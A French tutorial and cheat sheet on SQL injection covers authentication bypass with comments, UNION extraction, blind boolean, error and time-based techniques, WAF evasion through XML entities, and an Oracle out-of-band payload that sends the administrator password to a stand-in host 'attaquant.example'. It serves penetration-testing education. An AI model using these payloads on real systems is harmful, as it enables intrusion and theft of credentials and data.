Aller au contenu

Injection SQL

L'injection SQL (SQL injection, ou SQLi) est une vulnérabilité qui permet à un attaquant d'interférer avec les requêtes qu'une application adresse à sa base de données. En injectant du code SQL dans un champ que l'application intègre sans précaution à sa requête, on peut consulter des données auxquelles on ne devrait pas avoir accès — celles d'autres utilisateurs, ou tout contenu stocké en base — voire modifier ou supprimer ces données, et dans certains cas compromettre le serveur sous-jacent.

L'origine du problème est presque toujours la même : l'application construit ses requêtes en concaténant des chaînes, en y insérant directement une entrée utilisateur au lieu de la transmettre comme un paramètre distinct. Le moteur ne fait alors plus la différence entre le code que le développeur a écrit et les données fournies par l'utilisateur.

Sortir du contexte avec un commentaire

Le point de départ classique consiste à terminer prématurément la requête prévue par le développeur et à neutraliser la suite à l'aide d'un commentaire SQL. Prenons une requête d'authentification :

SELECT * FROM users WHERE username = 'administrator' AND password = 'saisie'

En injectant la valeur administrator'-- dans le champ du nom d'utilisateur, on referme la chaîne et on commente la vérification du mot de passe :

SELECT * FROM users WHERE username = 'administrator'--' AND password = 'saisie'

Le -- marque le début d'un commentaire : tout ce qui suit est ignoré, la condition sur le mot de passe disparaît, et l'authentification réussit sur la seule base du nom d'utilisateur. Le # joue le même rôle sur MySQL, mais il doit souvent être encodé en %23 dans une URL.

Attaques UNION

Lorsque le résultat de la requête est renvoyé dans la réponse, l'opérateur UNION permet d'ajouter à la requête d'origine une seconde requête de notre choix, et donc d'extraire des données d'autres tables :

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Pour qu'une attaque UNION fonctionne, deux conditions doivent être réunies : les deux requêtes doivent renvoyer le même nombre de colonnes, et les types de données doivent être compatibles colonne par colonne. Les deux premières étapes consistent donc à déterminer ces deux paramètres.

Déterminer le nombre de colonnes se fait de deux façons. La première injecte des NULL en nombre croissant jusqu'à ce que la requête cesse de renvoyer une erreur :

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

La seconde s'appuie sur ORDER BY en incrémentant l'indice de colonne jusqu'à l'erreur :

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Cas d'Oracle

Sur Oracle, toute requête SELECT exige une clause FROM. On utilise pour cela la table système DUAL, toujours présente : ' UNION SELECT NULL FROM DUAL--.

Déterminer le type des colonnes consiste à placer une chaîne de test à chaque position, l'une après l'autre. La position qui n'engendre pas d'erreur de type accepte les chaînes de caractères — c'est là qu'on pourra exfiltrer du texte :

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Quand une seule colonne accepte du texte, on peut malgré tout récupérer plusieurs champs en les concaténant. Sur Oracle et PostgreSQL, l'opérateur || assemble les valeurs avec un séparateur lisible :

' UNION SELECT username || '~' || password FROM users--

Reconnaissance de la base

Avant d'extraire des données, il est utile d'identifier le système et d'explorer son schéma. La requête qui renvoie la version diffère selon le moteur :

Type de base Requête
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

Pour découvrir les tables et leurs colonnes, la plupart des moteurs (sauf Oracle) exposent les vues d'information_schema :

SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'users'

Injection SQL aveugle

On parle d'injection aveugle (blind SQLi) lorsque la réponse ne renvoie ni le résultat de la requête, ni de message d'erreur exploitable. L'information doit alors être extraite indirectement, en observant un comportement de l'application qui dépend de la véracité d'une condition que l'on injecte.

Réponses conditionnelles

Si l'application réagit différemment selon que la requête est vraie ou fausse — par exemple en affichant un message de bienvenue dans un cas et rien dans l'autre — on peut poser des questions booléennes et lire la réponse dans ce comportement. On vérifie d'abord l'existence d'une table :

' AND (SELECT 'a' FROM users LIMIT 1)='a

Puis l'existence d'un utilisateur précis :

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

On peut ensuite extraire un mot de passe caractère par caractère, en testant chaque position avec SUBSTRING (dont la syntaxe varie d'un moteur à l'autre) :

' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1) > 'm

La réponse positive ou négative indique si le premier caractère est supérieur à m, et une recherche dichotomique permet de le déterminer rapidement, puis de passer au caractère suivant.

Erreurs conditionnelles

Quand l'application ne varie pas visiblement selon la condition, on peut forcer une erreur uniquement lorsque la condition est vraie, par exemple en déclenchant une division par zéro :

' AND (SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users)='a

L'apparition (ou non) de l'erreur révèle alors la réponse à la condition.

Messages d'erreur verbeux

Si l'application renvoie le détail des erreurs SQL, on peut faire « fuiter » une valeur en la forçant dans un contexte de type incompatible. Une conversion en entier d'une chaîne provoque un message qui contient la chaîne elle-même :

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

Le moteur renvoie une erreur du type « invalid input syntax for type integer: "..." » dans laquelle la donnée apparaît en clair.

Injection temporelle

Quand aucune des techniques précédentes ne donne d'indication exploitable, on peut conditionner un délai à la véracité de la requête : si la réponse tarde, la condition était vraie. La fonction de temporisation dépend du moteur (WAITFOR DELAY sur SQL Server, pg_sleep sur PostgreSQL, SLEEP sur MySQL) :

'; IF (SELECT COUNT(*) FROM users WHERE username='administrator' AND SUBSTRING(password,1,1)>'m')=1 WAITFOR DELAY '0:0:5'--

Techniques hors-bande (OAST)

En dernier recours, on peut provoquer une interaction réseau du serveur vers un système que l'on contrôle, et y faire transiter la donnée extraite — typiquement via une résolution DNS dont le sous-domaine contient le secret. Sur Oracle, par exemple, on peut détourner le traitement XML pour déclencher une telle requête :

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % rem SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.attaquant.example/"> %rem;]>'),'/l') FROM dual--

Le mot de passe apparaît alors comme sous-domaine dans les journaux du serveur que l'on contrôle.

Injection dans d'autres contextes

Une injection SQL ne survient pas uniquement dans les paramètres d'URL ou les champs de formulaire. Toute donnée intégrée à une requête est un vecteur potentiel, y compris à l'intérieur d'un document XML. Dans ce cas, l'encodage par entités de caractères permet souvent de contourner un pare-feu applicatif (WAF) qui filtrerait les mots-clés SQL en clair :

<stockCheck>
  <productId>123</productId>
  <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

Ici, le S de SELECT est écrit sous forme d'entité hexadécimale (&#x53;), ce qui peut suffire à passer inaperçu d'un filtre tout en étant correctement décodé par le parseur côté serveur. L'extension Hackvertor de Burp Suite automatise ce type d'encodage.

Aide-mémoire

Objectif Technique
Contourner une authentification Commentaire -- ou # après le nom d'utilisateur
Extraire des données affichées UNION SELECT après détermination du nombre et du type de colonnes
Identifier le moteur @@version, version() ou v$version selon la base
Explorer le schéma Vues d'information_schema
Pas de résultat, mais réaction visible Injection booléenne via SUBSTRING
Pas de réaction visible Erreur conditionnelle (division par zéro) ou délai temporel
Trafic réseau seul possible Exfiltration hors-bande via résolution DNS

La syntaxe exacte (concaténation, sous-chaînes, temporisation) variant fortement d'un moteur à l'autre, l'aide-mémoire SQLi de référence de PortSwigger reste une ressource précieuse à garder ouverte pendant un test.